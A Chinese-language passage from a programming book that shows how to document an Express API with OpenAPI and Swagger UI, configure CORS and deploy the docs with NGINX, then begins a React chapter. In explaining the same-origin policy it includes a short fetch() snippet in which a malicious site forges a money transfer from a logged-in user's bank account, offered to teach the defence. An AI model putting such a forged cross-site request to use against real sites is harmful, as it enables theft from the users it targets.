因此,让我们更详细地检查 Swagger 工具链。Swagger 是一套在整个 API 生命周期中都有用的开发者工具,包括以下内容:
-
Swagger 编辑器:一个分屏编辑器,允许您在一侧编写规范,并在另一侧提供实时反馈
-
Swagger UI:从您的规范文件生成 HTML 格式的文档
-
Swagger Codegen:生成多种语言的客户端 SDK,使开发者能够轻松地与您的 API 交互,而无需直接调用端点
-
Swagger Inspector:允许您测试您的端点
除了 SmartBear Software 开发和维护的官方工具之外,还有许多社区贡献的包和框架。
Swagger Editor
Swagger 编辑器类似于您的规范代码编辑器。它提供实时验证、代码自动完成、代码高亮和输出文档的预览。以下是 Uber API 的截图:
Swagger UI
Swagger UI 是一个自包含的前端应用程序,它从您的规范中渲染交互式文档。您只需提供 OpenAPI 规范的公开 URL,Swagger UI 就会完成剩余的工作。以下是 Swagger Petstore 示例文档的截图:
交互式文档还有一个“现在尝试”按钮,允许您向服务器发送真实请求并查看结果,而无需离开文档页面。这简化了最终用户的流程,因为他们不需要打开像 Postman 和/或 Paw 这样的外部工具:
您可以在 petstore.swagger.io 尝试一个实时演示。
Swagger Inspector
Swagger Inspector 类似于 Postman,它是 Swagger 的一个工具——允许您调用和验证 REST、GraphQL 和 SOAP API。像 Postman 一样,它保存了您过去查询的历史记录。此外,它可以从检查结果自动生成规范。
Swagger codegen
Swagger 能够使用您的 API 规范生成服务器存根和客户端 SDK。Swagger Codegen 支持许多语言/框架。您可以将服务器存根用作您即将构建的 API 的样板,或用作模拟服务器来展示 API 应该如何表现。您还可以使用生成的客户端 SDK 作为基础并在此基础上构建。
使用 OpenAPI 定义 API 规范
现在我们已经了解了 API 规范和 OpenAPI 标准是什么,以及 Swagger 提供的工具,让我们开始文档编写过程,为我们的 API 编写规范。我们将从在src/spec/openapi/hobnob.yaml
创建一个新文件开始:
$ mkdir -p spec/openapi
$ touch spec/openapi/hobnob.yaml
学习 YAML
首先要知道的是,OpenAPI 规范必须是一个有效的 JSON 文档。规范还明确允许使用 YAML,它是 JSON 的超集,可以转换为 JSON。我们将使用 YAML,因为它对人类来说更易读(因此也更容易编写),即使是非开发者也是如此。此外,你可以在 YAML 文件中添加注释,这是 JSON 无法做到的。
让我们先学习 YAML 的基本知识。我们只需要学习一些基本的语法规则来编写我们的 OpenAPI 规范。
与 JSON 一样,开始学习 YAML 的基本语法非常简单。所有 YAML 文档都以三个短横线(---
)开始,以指示文件的开始,以三个点(...
)结束,以指示文件的结束。
通常,在配置文件中需要表示的最常见的数据结构是键值对和列表。要表示一组键值对,只需将每个键值对写在新的行上,用冒号和空格分隔:
# YAML
title: Hobnob
description: Simple publishing platform
# JSON
{
"title": "Hobnob",
"description": "Simple publishing platform"
}
通常,除非你使用特殊字符或需要明确数据类型(例如,10
可能被解释为数字,而yes
可能被解释为true
),否则你不需要使用引号。为了简单和一致起见,你可能想为所有的字符串使用双引号,但在这里我们不会这样做。
要表示嵌套对象,只需将子对象缩进两个空格:
# YAML
info:
title: Hobnob
description: Professional publishing platform
# JSON
{
"info": {
"title": "Hobnob",
"description": "Professional publishing platform"
}
}
要表示一个列表,将每个项目放在新的一行上,前面加上一个破折号和一个空格:
# YAML
produces:
- application/json
- text/html
# JSON
{
"produces": [
"application/json",
"text/html"
]
}
为了节省换行符,使用竖线(|
)字符:
# YAML
info:
title: Hobnob
description: |
The professional user directory.
Find like-mind professionals on Hobnob!
# JSON
{
"info": {
"title": "Hobnob",
"description": "The professional user directory.\n\nFind like-mind professionals on Hobnob!\n"
}
}
或者,为了在多行上断开文本行(使其更容易阅读),不应保留换行符,使用大于号(>
):
# YAML
contact:
name: >
Barnaby Marmaduke Aloysius Benjy Cobweb Dartagnan Egbert Felix Gaspar
Humbert Ignatius Jayden Kasper Leroy Maximilian Neddy Obiajulu Pepin
Quilliam Rosencrantz Sexton Teddy Upwood Vivatma Wayland Xylon Yardley
Zachary Usansky
# JSON
{
"contact": {
"name": "Barnaby Marmaduke Aloysius Benjy Cobweb Dartagnan Egbert Felix Gaspar Humbert Ignatius Jayden Kasper Leroy Maximilian Neddy Obiajulu Pepin Quilliam Rosencrantz Sexton Teddy Upwood Vivatma Wayland
Xylon Yardley Zachary Usansky\n"
}
}
根字段的概述
现在我们已经了解了 YAML 的基本知识,我们准备好编写我们的规范了。
可用的 OpenAPI 规范版本有几个。在撰写本书时,OpenAPI 规范是3.0.0
版本,并于 2017 年 7 月 26 日正式发布。你可能会在野外找到许多 OpenAPI 2.0 规范,因为 3.0.0 在许多领域的工具支持不足。
我们将使用 OAS 3.0.0,因为它是最新版本。在这里,你可以找到 OAS 3.0.0 中所有可能的根属性概述。并非所有字段都被涵盖,并且必需字段用星号(*
)标记:
-
openapi*
(string): 这指定了正在使用的 OpenAPI 规范版本。我们应该指定 semver 版本;对于我们来说,我们将使用"3.0.0"
。 -
info*
(object): API 的元数据。-
version*
(string): 为此规范编写的 API 版本。请注意,这是 API 本身的版本,而不是 OpenAPI 规范。 -
title*
(string): 您 API 的名称。 -
description
(string): 您 API 的简要描述。 -
contact
(object): 关于联系支持的信息。-
name
(string): 要联系的个人/部门/组织的名称。 -
url
(string): 指向包含联系信息的页面的有效 URL。 -
email
(string): 一个有效的电子邮件地址,可以通过它发送询问。
-
-
termsOfService
(string): 指向 API 服务条款通知的有效 URL。 -
license
(object): API 的许可信息。-
name*
(string): 许可证的名称。 -
url
(string): 指向许可的有效 URL。
-
-
-
servers
(array of objects) 一个提供 API 的服务器列表。这是对 OAS 2.0 根字段host
和basePath
的改进,因为它允许指定多个主机。-
url*
(string): 指向目标主机的有效 URL。这可能是一个相对 URL,相对于 OpenAPI 规范被提供的位置。 -
description
(string): 主机的简要描述。如果有多个主机被指定,这有助于区分不同的主机。
-
-
paths*
(object): API 公开的所有路径和操作(例如端点)。路径对象是一个路径(例如,/users
)和路径项对象的字典。路径项对象是一个包含(主要是)HTTP 动词(例如,post
)和操作对象的字典。操作对象是定义端点行为的对象,例如它接受哪些参数以及它发出的响应类型:
paths:
/users: # Path
post: # Operation
... # Operation Object
-
components
(object): 包含一组可重用对象,可用于重用。组件的目的在于最小化规范内的重复。例如,如果多个端点可能返回一个401 Unauthorized
错误,错误信息为"The Authorization header must be set"
,我们可以定义一个名为NoAuthHeaderSet
的组件,并在响应定义中使用此对象进行重用。组件可以在规范的其他部分稍后使用 JSON 引用($ref
)进行引用。在 OAS 2.0 中,组件根字段不存在;相反,使用了
definitions
、parameters
和responses
根字段。在 OAS 3.0.0 中,组件不仅限于数据类型(或模式)、参数和响应,还包括示例、请求体、头、安全方案、链接和回调。 -
security
(array of objects): 一系列在整个 API 中可接受的安全需求对象。安全需求对象是一个包含跨不同操作的安全方案的字典。例如,我们要求客户端在许多端点上提供一个有效的令牌;因此,我们可以在这里定义该要求,并以 DRY(Don't Repeat Yourself)的方式在每个定义中应用它。对于不需要令牌的端点,我们可以单独覆盖此要求。 -
tags
(字符串数组):您可以通过在操作对象内部指定字符串列表来使用标签对操作进行分组。例如,Swagger UI 可能会使用这些标签将相关的端点分组在一起。根tags
属性提供了有关这些标签的元数据(例如,长描述)。 -
externalDocs
(对象):额外的外部文档。
现在您对根字段有了简要的了解,让我们开始编写我们的规范。为了使我们更容易上手,我们将从定义简单的字段 info
开始,然后转向不需要身份验证的端点。一旦我们更加熟悉,我们将定义安全方案和安全要求,并添加需要身份验证的端点的规范。
要开始,请将以下元数据添加到 spec/openapi/hobnob.yaml
。
openapi: "3.0.0"
info:
title: Hobnob User Directory
version: "1.0.0"
contact:
name: Support
email: dan@danyll.com
servers:
- url: http://localhost:8080/
description: Local Development Server
tags:
- name: Authentication
description: Authentication-related endpoints
- name: Users
description: User-related endpoints
- name: Profile
description: Profile-related endpoints
指定 GET /salt 端点
为了简化编写完整的 API 规范的过程,让我们从最简单的端点 GET /salt
开始。首先,我们将添加 paths
根属性,指定我们定义的路径(/salt
),然后是操作(get
):
paths:
/salt:
get:
在 get
属性下,我们将定义一个 操作对象。操作对象的完整规范可以在 github.com/OAI/OpenAPI-Specification/blob/master/versions/3.0.0.md#operation-object 找到。对于我们的用例,我们关注以下属性:
-
tags
:当与 Swagger UI 一起显示时,用于逻辑上分组操作。 -
summary
:操作的简要总结。 -
description
:对操作的更详细描述,可能包括开发者可能需要了解的细微差别。 -
parameters
:一个 参数对象,描述了允许/必需的参数,以及这些参数应该如何提供(例如 URL 参数、查询字符串、头部或 cookie)。 -
requestBody
:一个 请求体对象,描述了请求体(如果有)。它描述了允许的负载类型(例如,application/json
、text/plain
),如果它是对象,则每个属性的数据类型和格式应该是什么。 -
responses
:一个 响应对象,描述了此端点可以产生的所有可能的响应。
因此,让我们从更简单的字段开始:tags
、summary
和 description
:
paths:
/salt:
get:
tags:
- Authentication
summary: Returns the salt of a user based on the user's email
description: Even if there are no users with the specified email, this endpoint will still return with a salt. This is to prevent the API leaking information about which email addresses are used to register on the platform.
指定参数
我们的 Get Salt 端点不接受任何请求体,但它确实需要一个名为 email
的查询字符串参数,该参数必须设置为有效的电子邮件地址。因此,我们必须定义一个 parameters
属性,包含一个 参数对象 的列表。每个 参数对象 可以包含以下属性:
-
name*
(字符串):参数的名称 -
in*
(字符串):指定参数的位置。可能的值是query
、header
、path
或cookie
。 -
required
(布尔值):参数是否必需。 -
schema
(对象):这描述了参数的结构:
paths:
/salt:
get:
...
parameters:
- name: email
in: query
description: The email of the user to retrieve the salt for
required: true
schema:
type: string
format: email
你可能已经注意到,OpenAPI 定义模式语法看起来很像 JSON Schema。这是因为 OpenAPI 规范实际上是基于 JSON Schema 规范的第一稿。
指定响应
接下来,我们需要指定我们的端点可能响应的内容。这是所有操作对象的一个必需字段。响应对象是一个数字 HTTP 状态码和响应对象的映射,该响应对象应包含两个字段:
-
description
:有效负载的简短描述 -
content
(对象):这指定了此端点可接受的有效的 MIME 类型(例如,application/json
、text/plain
),以及有效负载的预期结构:
paths:
/salt:
get:
...
responses:
'200':
description: Salt Retrieved
content:
text/plain:
schema:
type: string
'400':
description: Email query parameter not specified
content:
application/json:
schema:
properties:
message:
description: Error message
type: string
'500':
description: Internal Server Error
content:
application/json:
schema:
properties:
message:
description: Error message
type: string
为了确保我们没有忘记任何响应,我们可以检查我们的请求处理器(src/handlers/auth/salt/retrieve/index.js
)、中间件以及我们的端到端测试。
我们现在已经使用 OpenAPI 规范语言定义了获取盐端点。让我们继续到一个稍微复杂一点的端点——创建用户——并看看我们如何指定有效负载体。
指定创建用户端点
使用你刚刚学到的知识,为创建用户端点指定一个新的路径、操作和操作对象,填写tags
、summary
、description
和responses
属性。你应该得到类似以下内容:
paths:
/users:
post:
tags:
- Users
summary: Creates a New User
responses:
'201':
description: Created
content:
text/plain:
schema:
type: string
'400':
description: Bad Request
content:
application/json:
schema:
properties:
message:
description: Error message
type: string
'415':
description: Unsupported Media Type
content:
application/json:
schema:
properties:
message:
description: Error message
type: string
'500':
description: Internal Server Error
content:
application/json:
schema:
properties:
message:
description: Error message
type: string
指定请求体
我们的创建用户端点不接受任何参数,但它确实需要一个符合我们用户模式的 JSON 有效负载。因此,我们应该在我们的操作对象内部添加一个新的requestBody
字段来定义这个要求。
requestBody
字段的值应包含三个字段:
-
description
:有效负载的简短描述。 -
content
(对象):这指定了此端点可接受的有效的 MIME 类型(例如,application/json
、text/plain
),以及有效负载的预期结构。此结构在 MIME 类型属性下定义,在子属性schema
下,并且与 JSON schema 语法非常相似,表示为 YAML。 -
required
(布尔值):这指定了请求有效负载是否是必需的:
paths:
/users:
post:
...
requestBody:
description: The New User object
required: true
content:
application/json:
schema:
properties:
email:
type: string
format: email
digest:
type: string
pattern: ^\\$2[aby]?\\$\\d{1,2}\\$[.\\/A-Za-z0-9]{53}$
profile:
type: object
properties:
bio:
type: string
summary:
type: string
name:
type: object
properties:
first:
type: string
last:
type: string
middle:
type: string
additionalProperties: false
additionalProperties: false
required:
- email
- digest
example:
email: e@ma.il
digest: $2a$10$enCaroMp4gMvEmvCe4EuP.0d5FZ6yc0yUuSJ0pQTt4EO5MXvonUTm
profile:
bio: Daniel is a species of JavaScript developer that is commonly found in Hong Kong and London. In 2015, Daniel opened his own digital agency called Brew, which specialized in the Meteor framework.
summary: JavaScript Developer
name:
first: Daniel
last: Li
定义常见组件
你可能已经注意到,我们的规范并不是非常 DRY(Don't Repeat Yourself,不要重复自己)——我们反复指定了常见的响应,比如 500 内部错误。因此,在我们学习如何指定 URL 参数和我们的安全方案之前,让我们首先看看我们如何可以使用components
根属性在单个位置定义常见实体,并在整个 OpenAPI 规范中引用它。我们将为此创建用户对象以及所有响应。
让我们首先将以下components
部分作为根属性添加到我们的规范中:
components:
schemas:
Profile:
title: User Profile
type: object
properties:
bio:
type: string
summary:
type: string
name:
type: object
properties:
first:
type: string
middle:
type: string
last:
type: string
additionalProperties: false
现在我们可以使用引用'#/components/schemas/Profile'
在任何我们的规范中引用这个 Profile 架构组件。换句话说,我们可以将我们的 Create User 端点的 requestBody
属性的定义缩短为以下内容:
requestBody:
description: The New User object
required: true
content:
application/json:
schema:
properties:
email:
type: string
format: email
digest:
type: string
pattern: ^\\$2[aby]?\\$\\d{1,2}\\$[.\\/A-Za-z0-9]{53}$
profile:
$ref: '#/components/schemas/Profile'
additionalProperties: false
required:
- email
- digest
让我们再通过另一个示例。目前,我们的 GET /salt
端点可以响应一个 200 响应:
paths:
/salt:
get:
summary: ...
description: ...
parameters: ...
responses:
'200':
description: Salt Retrieved
content:
text/plain:
schema:
type: string
...
我们可以将这个响应提取出来并定义为一个组件:
components:
schemas:
Profile:
title: User Profile
...
responses:
SaltRetrieved:
description: Salt Retrieved
content:
text/plain:
schema:
type: string
就像之前一样,我们可以通过引用来引用 SaltRetrieved
响应组件:
paths:
/salt:
get:
summary: ...
description: ...
parameters: ...
responses:
'200':
$ref: '#/components/responses/SaltRetrieved'
...
经过两个示例之后,你现在应该尝试尽可能多地提取出公共组件。完成后,检查代码包以查看我们的实现。
指定 Retrieve User 端点
现在我们已经学会了如何使用组件来减少代码重复,让我们继续指定 Get User 端点,并学习如何在 OpenAPI 中表示 URL 参数。
结果证明这非常简单——它只是一个参数,就像查询参数一样。唯一的区别是我们需要使用路径模板来指定这个参数在 URL 中的位置。例如,对于我们的 Retrieve User 端点,路径将被指定为 /users/{userId}
。
我们还需要定义一个新的 Schema 对象,称为 UserLimited
,它描述了一个完整的用户对象,但不包括 digest
字段。这是我们将在 Retrieve User 端点返回的对象的形状。最后,我们还添加了一个新的 ErrorNotFound
响应,以应对不存在该 ID 的用户的情况。
对架构所做的添加应类似于以下内容:
...
components:
schemas:
...
UserLimited:
title: Retrieve User Response Payload Schema
description: An User object with the digest field removed
properties:
email:
type: string
format: email
profile:
$ref: '#/components/schemas/Profile'
additionalProperties: false
required:
- email
- profile
...
responses:
...
UserRetrieved:
description: User Retrieved
content:
application/json:
schema:
$ref: '#/components/schemas/UserLimited'
...
ErrorNotFound:
description: Not Found
content:
application/json:
schema:
$ref: '#/components/schemas/Error'
paths:
...
/users/{userId}:
get:
tags:
- Users
summary: Retrieves details of a single User
parameters:
- name: userId
in: path
description: ID of the User to retrieve
required: true
schema:
type: string
responses:
'200':
$ref: '#/components/responses/UserRetrieved'
'400':
$ref: '#/components/responses/ErrorBadRequest'
'404':
$ref: '#/components/responses/ErrorNotFound'
'500':
$ref: '#/components/responses/ErrorInternalServer'
指定 Replace Profile 端点
我们将要演示的最后一件事是描述 Replace Profile 端点。这个端点要求用户登录,并在请求中提供令牌。
但首先,让我们利用到目前为止所学的一切来定义 Replace Profile 端点的参数、请求体和响应:
...
components:
...
responses:
Success:
description: Success
...
ErrorUnauthorized:
description: Unauthorized
content:
application/json:
schema:
$ref: '#/components/schemas/Error'
...
securitySchemes:
token:
type: http
scheme: bearer
bearerFormat: JWT
paths:
/users/{userId}/profile:
put:
tags:
- Profile
summary: Replaces the Profile of the User with a new Profile
security:
- token: []
parameters:
- name: userId
in: path
description: ID of the User
required: true
schema:
type: string
requestBody:
description: The New Profile object
required: true
content:
application/json:
schema:
$ref: "#/components/schemas/Profile"
responses:
'200':
$ref: '#/components/responses/Success'
'400':
$ref: '#/components/responses/ErrorBadRequest'
'401':
$ref: '#/components/responses/ErrorUnauthorized'
'404':
$ref: '#/components/responses/ErrorNotFound'
'415':
$ref: '#/components/responses/ErrorUnsupportedMediaType'
'500':
$ref: '#/components/responses/ErrorInternalServer'
这里,我们定义了两个新的响应:
-
成功
,这只是一个没有负载的200 成功
响应 -
ErrorUnauthorized
,如果Authorization
标头(包含我们的 JSON Web 令牌)不存在,则应该返回
新的是我们在 OpenAPI 对象根部的 components
下定义的 securitySchemes
。在 OAS 中,安全方案 是我们的客户端进行身份验证的方法。支持的方案包括 HTTP 身份验证、API 密钥、OAuth2 和 OpenID Connect Discovery。由于我们使用 Bearer 方案在我们的 HTTP 授权头中进行身份验证,所以我们将其定义为这样。
在我们的 Operation 对象中,我们还包含了一个 security
属性,表明这个端点需要使用我们定义的安全方案进行身份验证,该方案称为 token
。
指定其余的端点
我们到目前为止所涵盖的内容应该已经提供了足够的信息,以便您完成其余端点的 OpenAPI 规范。请尝试完成它,并参考代码包以检查我们的实现。
使用 Swagger UI 生成文档
现在我们有一个有效的 OpenAPI 规范,我们可以使用 Swagger UI 生成基于 Web 的 API 文档。
将 Swagger UI 添加到我们的仓库中
Swagger UI 源文件位于官方仓库的 dist/
目录中。为我们自己的规范生成文档 UI 的官方方法是下载 Swagger UI 源文件从 github.com/swagger-api/swagger-ui/releases,并在 dist/index.html
静态地提供页面。
然而,将 Web UI 的源代码放在与我们的 API 相同的仓库中会更受欢迎。一个简单的方法是从 github.com/swagger-api/swagger-ui/releases 下载 Swagger UI 的最新源文件,解压内容,并将 dist/
目录的内容复制到我们仓库内的 docs/
目录中。然而,这需要我们每次 Swagger UI 更新时手动更新 docs/
目录的内容;显然,这不是理想的做法。幸运的是,使用 Git 子模块 可以更干净地实现相同的功能。在我们的项目根目录中运行以下命令:
$ git submodule add https://github.com/swagger-api/swagger-ui docs
本地情况下,这将下载 Swagger UI 仓库的全部内容,并将其保存到项目根目录下的 docs/
目录中。然而,在 Git 中,只有 .gitmodules
文件和一个小型的 docs
文件被跟踪:
这使我们的 Git 仓库保持清洁,并仅跟踪我们的代码(而不是第三方代码)。当我们想要更新到 Swagger UI 的最新版本时,我们只需要更新 Git submodule
:
$ git submodule update --init --recursive
我们可以将更新脚本作为 npm 脚本添加,以便更容易记住:
"docs:update": "git submodule update --init --recursive"
使用我们的规范在 Swagger UI 中
现在我们已经将 Swagger UI 添加到我们的仓库中,下一个任务是编写一个脚本来在 Web 服务器上提供它。由于这些只是没有后端参与的静态文件,任何 Web 服务器都足够了。在这里,我们将使用 http-server
包。
$ yarn add http-server --dev
默认情况下,http-server
包使用端口 8080,我们已经在我们的 API 中使用了这个端口。因此,我们必须使用 -p
标志来指定一个备用端口。然而,我们不想将此值硬编码到我们的 NPM 脚本中;相反,我们希望从环境变量 SWAGGER_UI_PORT
中获取它。为了实现这一点,我们需要在 scripts/swagger-ui/serve.sh
创建一个新的 Bash 脚本,内容如下:
#!/usr/bin/env bash
source <(dotenv-export | sed 's/\\n/\n/g')
yarn run docs:update
http-server docs/dist/ -p $SWAGGER_UI_PORT
记得通过运行 chmod +x scripts/swagger-ui/serve.sh
使脚本可执行。
然后,在 .env
和 .env.example
中定义以下环境变量:
SWAGGER_UI_PROTOCOL=http
SWAGGER_UI_HOSTNAME=127.0.0.1
SWAGGER_UI_PORT=8000
并添加一个新的 NPM 脚本来提供我们的文档:
"docs:serve": "dotenv -e envs/.env ./scripts/swagger-ui/serve.sh",
这将下载或更新 Swagger UI 源代码,并从docs/dist/
目录提供网站。现在,从您的浏览器导航到http://127.0.0.1:8000
,你应该看到一个像这样的页面:
默认情况下,dist/index.html
使用在petstore.swagger.io/v2/swagger.json可用的演示规范,这就是这里显示的内容。为了使 Swagger UI 显示我们自己的 API 的文档,我们需要做以下操作:
-
在公开可访问的位置公开
hobnob.yaml
文件。 -
编写一个脚本,将演示 URL 替换为我们自己的。
从我们的 API 公开 swagger.yaml
公开hobnob.yaml
文件就像在我们的 API 中添加一个新的端点一样简单。然而,规范文件位于spec/openapi/hobnob.yaml
,这位于我们应用程序的dist/
目录之外。因此,首先,我们应该修改我们的 serve 脚本,在应用程序构建后,将 OpenAPI 规范复制到dist/
目录的根目录:
"dev:serve": "yarn run build && cp spec/openapi/hobnob.yaml dist/openapi.yaml && dotenv -e envs/.env node dist/index.js",
"serve": "yarn run build && cp spec/openapi/hobnob.yaml dist/openapi.yaml && dotenv -e envs/.env pm2 start dist/index.js",
现在,在src/index.js
内部,我们需要添加一个新的端点来检索和提供相同的openapi.yaml
。将以下内容添加到src/index.js
。
import fs from 'fs';
...
app.get('/openapi.yaml', (req, res, next) => {
fs.readFile(`${__dirname}/openapi.yaml`, (err, file) => {
if (err) {
res.status(500);
res.end();
return next();
}
res.write(file);
res.end();
return next();
});
});
现在,在运行dev:serve
脚本的同时,打开您的浏览器到http://127.0.0.1:8080/openapi.yaml
。你应该在屏幕上看到 OpenAPI 规范。
启用 CORS
理论上,如果我们回到我们的 Swagger UI 页面(在127.0.0.1:8000
),并将 URL http://localhost:8000/openapi.yaml
粘贴到输入栏中,它应该加载带有我们自己的 API 规范的页面。然而,页面显示了一个关于跨源资源共享(CORS)的错误。
同源策略
由于安全原因以及为了保护最终用户,大多数浏览器强制执行同源策略,这意味着浏览器将阻止从同一来源(例如,http://127.0.0.1:8000
)加载的脚本调用不同来源的服务器(例如,http://localhost:8080
)。为了说明同源策略的重要性,请看以下示例。
假设你登录到了你的在线银行网站,personal.bank.io
。然后,你打开一个恶意网站,malicious.io
,该网站在malicious.io
内部运行以下脚本:
fetch('personal.bank.io/api/transfer', {
method : "POST",
body : JSON.stringify({
amount : '999999',
to: 'malicious.io'
})
})
如果没有同源策略,并且这个请求被允许继续,那么你可能会损失很多钱。注意,这是一个我们之前分析过的跨站请求伪造(CSRF)攻击的变体。
跨源资源共享(CORS)
然而,相同的源策略也限制了像我们自己的合法用例。因此,万维网联盟(W3C)提出了跨源资源共享(CORS)规范来解决这个问题。CORS 规范概述了浏览器和服务器通过一系列 HTTP 头部相互通信的机制,以确定哪些跨源请求是被允许的。
您可以在 w3.org/TR/cors/ 找到完整的规范。
CORS 需要客户端(浏览器)和服务器双方的支持。几乎所有的现代浏览器都支持 CORS:
您可以在 caniuse.com/#feat=cors 探索更多关于 CORS 的浏览器支持详情。
因此,我们唯一需要做的是设置我们的 Express 服务器以启用 CORS。为了简化操作,有一个非常方便的网站 enable-cors.org,它提供了如何为您的特定服务器启用 CORS 的示例代码。我们可以在 enable-cors.org/server_expressjs.html 找到 Express 的说明。我们只需要在我们的其他中间件之前添加以下中间件:
app.use((req, res, next) => {
res.header('Access-Control-Allow-Origin', '*');
res.header('Access-Control-Allow-Headers', 'Origin, X-Requested-With, Content-Type, Accept');
next();
});
Access-Control-Allow-Origin
头部指定了哪些来源可以发起跨站请求。在这里,我们使用全局通配符 '*'
允许所有来源发起跨站请求。
如果我们将他们的示例代码粘贴到 src/index.js
中,重新加载我们的服务器,并重新加载 Swagger UI 文档页面,CORS 问题应该得到解决,我们应该在屏幕上看到我们的 API 的详细信息:
然而,允许所有来源发起 CORS 请求等同于忽略了浏览器设置的相同源策略,正如我们所展示的,这是一个重要的策略需要保留。因此,如果可能的话,我们应该指定一个允许发起 CORS 请求的来源白名单。目前,这仅限于 Swagger UI 文档网站。
因此,我们可以更新我们的代码,将文档网站的来源添加到白名单中:
res.header("Access-Control-Allow-Origin", "http://127.0.0.1:8000");
然而,当我们部署我们的应用程序并使我们的文档公开可用时,我们知道文档将以公开可访问的 URL 提供服务,而不是在 127.0.0.1:8000
。因此,将来源硬编码到代码中几乎没有意义。相反,遵循我们迄今为止的方法,我们应该将来源定义为一系列环境变量,在代码中使用这些变量,并更新我们的代码以使用这些变量。
res.header('Access-Control-Allow-Origin', `${process.env.SWAGGER_UI_PROTOCOL}://${process.env.SWAGGER_UI_HOSTNAME}:${process.env.SWAGGER_UI_PORT}`);
保存并重启您的 API 服务器,我们的 Swagger UI 文档应该仍然可以工作。
最后的润色
最后一个问题仍然存在——当文档页面首次加载时,它仍然默认使用演示 petstore.swagger.io/v2/swagger.json URL。这对用户体验来说并不好,因为用户必须手动粘贴他们感兴趣的规范 URL。
理想情况下,我们的页面应在首次加载时加载正确的规范,并且不应有顶部栏供访客加载另一个 API 的规范。
替换规范 URL
为了替换演示 URL,我们将使用一个 Bash 脚本,该脚本将使用环境变量来组合我们的 openapi.yaml
的 URL,然后使用 sed
替换它。然而,我们设置的 SERVER_*
环境变量是内部的,并且对客户端无效。因此,我们需要添加三个额外的环境变量来保存我们的 API 服务器的外部 URL。
在 envs/.env
和 envs/.env.example
中添加以下三个环境变量:
SERVER_EXTERNAL_PROTOCOL=http
SERVER_EXTERNAL_HOSTNAME=api.hobnob.jenkins
SERVER_EXTERNAL_PORT=80
然后,在 scripts/swagger-ui/format.sh
中创建一个新的文件,并赋予执行权限,然后粘贴以下脚本:
#!/usr/bin/env bash
sed -i "s!https://petstore.swagger.io/v2/swagger.json!$SERVER_EXTERNAL_PROTOCOL://$SERVER_EXTERNAL_HOSTNAME:$SERVER_EXTERNAL_PORT/openapi.yaml!g" docs/dist/index.html
然后,也添加一个新的 NPM 脚本来调用 format.sh
脚本:
"docs:format": "dotenv -e envs/.env ./scripts/swagger-ui/format.sh",
我们还必须更新我们的 docs:update
脚本,以便:
-
重置在 Git 子模块中做出的任何更改。
-
拉取最新的 Swagger UI 仓库。
-
运行
docs:format
来替换 URL:
"docs:update": "git submodule foreach --recursive git reset --hard && git submodule update --init --recursive && yarn run docs:format",
现在,运行 yarn run docs:update
然后重新加载我们的 Swagger UI 页面,它将默认使用我们的 API 规范而不是演示规范。
移除标题
最后但同样重要的是,我们需要从 Swagger UI 中移除标题。标题有一个 CSS 类名为 topbar
。因此,为了从我们的页面中移除标题,我们可以在页面的标题中注入以下 CSS。
<style>.topbar { display: none; }</style>
要做到这一点,我们将在 docs/dist/index.html
中搜索 </head>
关闭标签,并在其上方插入一个带有我们自己的样式标签的新换行符。这些步骤可以通过一个简单的 sed
脚本来实现。将其添加到 scripts/swagger-ui/format.sh
的末尾:
sed -i '/<\/head>/i \
<style>.topbar { display: none; }<\/style>' docs/dist/index.html
再次运行 yarn run docs:update && docs:serve
。现在,我们的页面将不再显示标题!
一旦你对更改满意,提交它们并将它们合并回 dev
和 master
分支。
部署
最后,让我们进入我们的远程服务器并部署我们的文档站点。我们通过拉取更改并安装依赖项来完成此操作。
$ ssh hobnob@142.93.241.63
hobnob@hobnob:$ cd projects/hobnob/
hobnob@hobnob:$ git fetch --all
hobnob@hobnob:$ git reset --hard origin/master
hobnob@hobnob:$ yarn
接下来,我们还需要生成一组新的密钥,并在 .env
文件中设置 SWAGGER_UI_*
环境变量:
SWAGGER_UI_PROTOCOL=http
SWAGGER_UI_HOSTNAME=docs.hobnob.social
SWAGGER_UI_PORT=80
PRIVATE_KEY="..."
PUBLIC_KEY="..."
然后,运行 docs:update
脚本来生成将被 NGINX 提供的静态文件。为了使 NGINX 能够访问这些文件,我们还应该更新 docs
目录的所有者和组为 nginx
:
hobnob@hobnob:$ yarn run docs:update
hobnob@hobnob:$ sudo chown -R nginx:nginx ./docs/*
然后,重新启动 API 服务器:
hobnob@hobnob:$ npx pm2 delete 0
hobnob@hobnob:$ yarn run serve
此后,在 /etc/nginx/sites-available/docs.hobnob.social
中添加一个新的虚拟主机定义:
server {
listen 80;
server_name docs.hobnob.social;
root /home/hobnob/projects/hobnob/docs/dist;
location / {
index index.html;
}
}
这将简单地要求 NGINX 在 /home/hobnob/projects/hobnob/docs/dist
目录下提供静态文件。然后,为了启用这个 server
块,将其链接到 /etc/nginx/sites-enabled/
目录,并重新启动 NGINX。
hobnob@hobnob:$ sudo ln -s /etc/nginx/sites-available/docs.hobnob.social /etc/nginx/sites-enabled/
hobnob@hobnob:$ sudo systemctl restart nginx.service
最后,前往 DigitalOcean 管理面板,为 docs.hobnob.social
添加一个指向我们服务器的 A
记录:
现在,你应该能够看到我们的文档在 docs.hobnob.social
上!
摘要
在本章中,我们使用了 OpenAPI 规范格式来记录我们的 API,并使用 Swagger UI 将规范转换为用户友好的网页。
这完成了我们需要为后端代码所做的所有工作。在下一章中,我们将构建与我们的 API 交互的前端用户界面。
第十四章:使用 React 创建 UI
到目前为止,在这本书中,我们专注于后端 API 的开发;但如果没有直观的用户界面(UI)供我们的最终用户交互,我们的应用程序将是不完整的。因此,本章将专注于构建一个消耗我们 API 的 Web 应用程序。
具体来说,通过遵循本章,你将:
-
理解不同 UI 框架和库的优缺点
-
了解React的基础知识,包括JSX和虚拟 DOM
-
使用Webpack打包我们的代码
选择前端框架/库
如我们在第二章,“JavaScript 的现状”中已讨论的,单页应用程序(SPAs)相较于更传统的使用客户端-服务器架构的多页应用程序(MPAs)是一个巨大的进步。在 SPAs 中,许多传统上在服务器上完成的逻辑已经委托给了客户端。这意味着服务器上的负载将减少,应用程序可以更快地响应用户交互。因此,对于我们的客户端应用程序,我们将构建一个 SPA。现在,下一步是选择我们的 SPA 的技术栈。
纯 JavaScript 与框架
单页应用程序(SPAs)通常与流行的框架和库一起讨论,例如AngularJS/Angular、React、Vue.js、Ember和Meteor;但我们应该记住,SPAs 可以使用纯 HTML、CSS 和 JavaScript 编写。我们还可以选择使用实用库,例如jQuery,来抽象掉棘手的 Web API,例如XMLHttpRequest
,并使我们的代码更具可读性。
然而,如果不使用框架或库,我们将不得不处理以下所有逻辑:
-
路由:从一个页面导航到另一个页面
-
DOM 操作:向页面添加/删除组件
-
数据绑定:保持模板与数据的更新
